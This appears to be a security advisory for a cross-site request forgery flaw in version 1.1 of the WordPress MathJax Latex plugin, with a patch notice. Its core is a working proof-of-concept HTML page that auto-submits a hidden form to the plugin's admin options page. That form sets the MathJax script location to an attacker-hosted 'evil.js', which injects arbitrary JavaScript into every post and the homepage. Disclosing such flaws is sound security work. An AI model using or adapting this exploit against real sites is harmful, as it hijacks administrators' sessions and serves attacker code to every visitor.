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Wordpress Mathjax Latex Plugin 1.1 - CSRF Vulnerability
# Title: Wordpress Mathjax Latex 1.1 Cross-Site Request Forgery Vulnerability
# Release Date: 25/03/13
# Author: Junaid Hussain [ illSecure Research Group ]
# Contact: [email protected] | Website: illSecure.com
# Software Link: http://downloads.wordpress.org/plugin/mathjax-latex.1.1.zip
# Tested on CentOs 5 - Wordpress Version 3.5
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There is no CSRF protection on the mathjax option page. This allows an attacker to specify arbitrary
javascript that will be loaded with each post and also loaded onto the homepage of the wordpress blog
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//##### CSRF - Proof Of Concept:
<html>
<body onload="javascript:document.forms[0].submit()">
<form id="mathjaxlatex" name="mathjaxlatex" action="http://[DOMAINNAME]/wp-admin/options-general.php?page=mathjax-latex.php" method='POST'>
<input type="hidden" name="mathjax_hidden" style="display:none;" value="Y">
<input type="checkbox" name="force_load" style="display:none;" value="1"CHECKED/>
<input type="checkbox" name="default_disabled" style="display:none;" value="1"CHECKED/>
<input type='textbox' name='mathjax_location' class='regular-text code' value='http://illsecure.com/code/evil.js' style="display:none;"/>
</form>
</html>
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//##### Patch:
The Vendor Was notified and a patch was released:
--- Patched Version: http://downloads.wordpress.org/plugin/mathjax-latex.1.2.1.zip
--- See ChangeLog: http://wordpress.org/extend/plugins/mathjax-latex/changelog/
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Contact: [email protected]
- Junaid Hussain
- http://illsecure.com
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01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1